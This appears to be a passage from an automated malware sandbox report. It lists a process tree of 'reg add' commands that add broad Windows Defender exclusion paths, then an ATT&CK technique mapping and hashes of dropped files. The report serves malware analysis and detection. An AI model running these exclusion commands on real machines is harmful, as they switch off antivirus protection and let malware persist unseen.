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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pFECCb" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pFECCb" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3328
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C:\Windows\system32\cmd.execmd.exe1⤵PID:204
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2116
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4336
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:312 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1356
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2484
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e588847.rbs
- Size 7KB
- SHA256 3873f8047908deb9c13879d64e887dbbdea4f3754ae53adf3e7bd5911f309028
- MD5 4d97771ce2c4d04aa2ba44b1c8178951
- SHA1 33f2f7157563fc3e70fe5f46417a38eab89c569d
- SHA512 6051513eb39c408244c6ccabda1cc3fdb0eb4c417f7f54799284bd2bc78ed9b7343017097359b9771c0be80444047cc159bafe92512cd8d96696c3672e661517
- SSDEEP 96:14zyuuTseCPUPaUUT51CsThq5UT51C6joXPxtThqxHIS5ivW1EVBCKpljRu48jBH:14LeizVIIXVIbMkiKpE
- TLSH T110F10C42AB00D6F3EF971B75CB13176637B2E3D99320174F089D88601E563886E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\pFECCb\UxEnhance64.dll
- Size 3.1MB
- SHA256 05895bc40cae6179a747bd2730a50e49da82cb770ac09158e0d49098401a11e0
- MD5 4526347de1e75a05b9a4367f966eccc6
- SHA1 26cd8764bbf028d31aca6101bb824ed22f88bdff
- SHA512 d761e0f9eee8d451467a1a9f5156f7b99531a6c0445eef897b74b5d8f83943c477e884b15c79fe1e18fb9cbdc1286935712b33261690f7233bab06367b09d354
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+9:P9m29xx3Tiqt06ox6+z2rNNrKo9
- TLSH T1ADE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\pFECCb\adoresd.dat
- Size 4.7MB
- SHA256 fad65590311bbfa53ade46573e17b187a9093d692bba85f7c5b20f2a95f73581
- MD5 b80db3adb6080b2a2c21303912ed98d6
- SHA1 9dcb11f44fd3f457d65524c30f81dd15c1d22908
- SHA512 de27cb554851cd2bc6303387e79c0a776cdb439acf7e4ad18a9545afb491c928f7780cd7a61995befa4d489c539014a209efb8716fadca9589f3b28fdde43aaa
- SSDEEP 98304:5mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:cu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1AB3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\pFECCb\lvnBVw.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\pFECCb\msadox.tb
- Size 8KB
- SHA256 90d447019fa98bb6f6bd68929621668c99ede8b0728c3a61608614ba016c14b3
- MD5 8e3a45d09fe780ebb3d97e3227cfc43c
- SHA1 95afa81fa99c69a78fef0206fe8c9ed918c40fb1
- SHA512 058639ff34a562321c6e53d9e810b3a6b76947d1415f6c719620a47590c84489399fcc132c890dbdfc5b9b06fcfc500ab877396962bcde378624d363828005c4
- SSDEEP 192:3qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:3sZqZOXQ3uqvR2Kfzp
- TLSH T147029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8A1B.tmp
- Size 9.1MB
- SHA256 167a9ca80e35ef23731eb829b612b26a9deee4710a227f60ff37655fa01330fe
- MD5 9561bafffbdff881d868e832432c1864
- SHA1 bd3c8eb972d16f656b4eba152ab5eebb998bc017
- SHA512 534d68f482dedf0301cf6184ca4e71d60073e9a936c9d52991a5144813dd07cc8f589fe1b5315489fcc848b5b2d0d5a0704e99797340eef63fabec0b6ec79547
- SSDEEP 196608:lQOU69f3K0uihKqNzfPkAIg+QANG0h/fG44XKFMpwPqZbZ46ooQm5O:Tb9f3bU2zKgAA0h/wXKgb8oQm5O
- TLSH T1F0A633887C462375D09FC3B2962722BD31B47FD536610C17B2D99B3C6DA7722A0FA606
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e588846.msi
- Size 9.2MB
- SHA256 6427b9d4f3e73d7d9f121d0c56be6abc7b068830762a1441fe25a47c603a2127
- MD5 4a66b8385cdc257ceb961a918d124c96
- SHA1 0ec466284af5657127410a0ddb2fbd0be34daa4a
- SHA512 57b70082fe7ddb13acddc81afde7621cc945a5a2c1be265601d7ec6c78d7d87a5994e204fc50e5b9ce315243cf7bbc2610b6f60a255ad34f5f4a53b0ab7fcb38
- SSDEEP 196608:7QOU69f3K0uihKqNzfPkAeg+QANG0h/fG44XKFMpwPqZbZI6ooQm5j:Nb9f3bU2zUgAA0h/wXKgbsoQm5j
- TLSH T1C5A633887C462336D09BC3B1862762BD3264BFD53B214C07B2D9B72C6DB763261F6646
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 95d7cb53f7c75a7f0f3c362a8e771eea4850b8127befcf90cf8d1f658c7f0158
- MD5 9cfddbf2414bc4c7b4d07f24633e9a3a
- SHA1 1e4b77b2d8de2d6c3b083ed3fd0f7c2a7b15ea49
- SHA512 7c07feef04c25d41c786afc28ea74649ee3f52ee2d747e2838b6f8edb51ca2ff848ba775489d91f0244dd642c5e80525bc606cb0e009f445c1df2249fa6e8d03
- SSDEEP 24576:yu8m+1zRdoO/vvTLrWceJG64dl0zEVMiwKmNeTtlU06tuLlBovVFk6XRp:M
- TLSH T1F847E42436F92110E7F79E3CA8F16A234D3A7D5B8C159E8D05411B4E0962FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{20c84cf9-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a7c5ad66-204b-4cd9-8a8c-46cc88fedc94}_OnDiskSnapshotProp
- Size 6KB
- SHA256 b8afdb557a98c33a53994de659c595657310ec395d03b3180d0a4029fe6f3447
- MD5 bc444f4ca9984fa9f0182e5fd4b489a8
- SHA1 d2b76ff9976e06316f44e84d2c8974b16ad0926d
- SHA512 771ed2dcc514f56e88ecd6f0490c19fb214e8090e23fe52514803d2e0a2ab4a534e3bb8975db0dceb480df160b77c5eab62c062540375f387ca00341d4f43966
- SSDEEP 96:FdM3ncAIvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:g3ob++ZVmN
- TLSH T187D1990C5AE54711E2B3AB3129F18557A877B811EF33CB8E0298238E2671910F935F6B
- MD5 SHA1 SHA512 SSDEEP TLSH